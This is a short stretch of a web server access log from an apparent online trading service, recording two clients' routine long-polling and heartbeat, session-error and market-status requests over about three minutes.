[09/Jan/2026:09:07:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:07:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:07:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:07:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921107656 HTTP/1.1" -
[09/Jan/2026:09:07:17 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921106304 HTTP/1.1" -
[09/Jan/2026:09:07:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921112788 HTTP/1.1" -
[09/Jan/2026:09:07:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921112298 HTTP/1.1" -
[09/Jan/2026:09:07:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921117961 HTTP/1.1" -
[09/Jan/2026:09:07:29 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921118304 HTTP/1.1" -
[09/Jan/2026:09:07:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921123105 HTTP/1.1" -
[09/Jan/2026:09:07:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:07:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:07:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:07:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:07:35 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921124301 HTTP/1.1" -
[09/Jan/2026:09:07:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921128248 HTTP/1.1" -
[09/Jan/2026:09:07:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921130298 HTTP/1.1" -
[09/Jan/2026:09:07:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921133300 HTTP/1.1" -
[09/Jan/2026:09:07:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921138362 HTTP/1.1" -
[09/Jan/2026:09:07:47 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921136306 HTTP/1.1" -
[09/Jan/2026:09:07:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921143551 HTTP/1.1" -
[09/Jan/2026:09:07:53 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921142302 HTTP/1.1" -
[09/Jan/2026:09:07:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921148687 HTTP/1.1" -
[09/Jan/2026:09:07:59 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921148305 HTTP/1.1" -
[09/Jan/2026:09:08:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:08:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:08:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:08:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:08:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921153817 HTTP/1.1" -
[09/Jan/2026:09:08:05 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921154299 HTTP/1.1" -
[09/Jan/2026:09:08:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921158876 HTTP/1.1" -
[09/Jan/2026:09:08:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921160302 HTTP/1.1" -
[09/Jan/2026:09:08:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921163986 HTTP/1.1" -
[09/Jan/2026:09:08:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:08:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:08:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:08:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:08:17 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921166305 HTTP/1.1" -
[09/Jan/2026:09:08:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921169172 HTTP/1.1" -
[09/Jan/2026:09:08:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921174288 HTTP/1.1" -
[09/Jan/2026:09:08:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921172300 HTTP/1.1" -
[09/Jan/2026:09:08:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921179420 HTTP/1.1" -
[09/Jan/2026:09:08:29 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921178309 HTTP/1.1" -
[09/Jan/2026:09:08:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:08:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:08:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:08:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:08:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921184565 HTTP/1.1" -
[09/Jan/2026:09:08:35 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921184298 HTTP/1.1" -
[09/Jan/2026:09:08:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921189666 HTTP/1.1" -
[09/Jan/2026:09:08:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921190312 HTTP/1.1" -
[09/Jan/2026:09:08:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921194843 HTTP/1.1" -
[09/Jan/2026:09:08:47 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921196305 HTTP/1.1" -
[09/Jan/2026:09:08:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921199990 HTTP/1.1" -
[09/Jan/2026:09:08:53 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921202309 HTTP/1.1" -
[09/Jan/2026:09:08:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921205143 HTTP/1.1" -
[09/Jan/2026:09:08:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921210292 HTTP/1.1" -
[09/Jan/2026:09:08:59 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921208301 HTTP/1.1" -
[09/Jan/2026:09:09:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:09:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:09:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:09:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:09:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921215432 HTTP/1.1" -
[09/Jan/2026:09:09:05 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921214311 HTTP/1.1" -
[09/Jan/2026:09:09:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921220506 HTTP/1.1" -
[09/Jan/2026:09:09:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921220310 HTTP/1.1" -
[09/Jan/2026:09:09:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:09:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:09:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:09:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:09:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921225646 HTTP/1.1" -
[09/Jan/2026:09:09:17 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921226311 HTTP/1.1" -
[09/Jan/2026:09:09:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921230803 HTTP/1.1" -
[09/Jan/2026:09:09:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921232301 HTTP/1.1" -
[09/Jan/2026:09:09:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921235936 HTTP/1.1" -
[09/Jan/2026:09:09:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921241070 HTTP/1.1" -
[09/Jan/2026:09:09:29 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921238299 HTTP/1.1" -
[09/Jan/2026:09:09:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:09:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:09:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:09:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:09:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921246200 HTTP/1.1" -
[09/Jan/2026:09:09:35 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921244298 HTTP/1.1" -
[09/Jan/2026:09:09:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921251242 HTTP/1.1" -
[09/Jan/2026:09:09:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921250297 HTTP/1.1" -
[09/Jan/2026:09:09:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921256370 HTTP/1.1" -
[09/Jan/2026:09:09:47 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921256305 HTTP/1.1" -
[09/Jan/2026:09:09:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921261556 HTTP/1.1" -
[09/Jan/2026:09:09:53 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921262302 HTTP/1.1" -
[09/Jan/2026:09:09:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921266682 HTTP/1.1" -
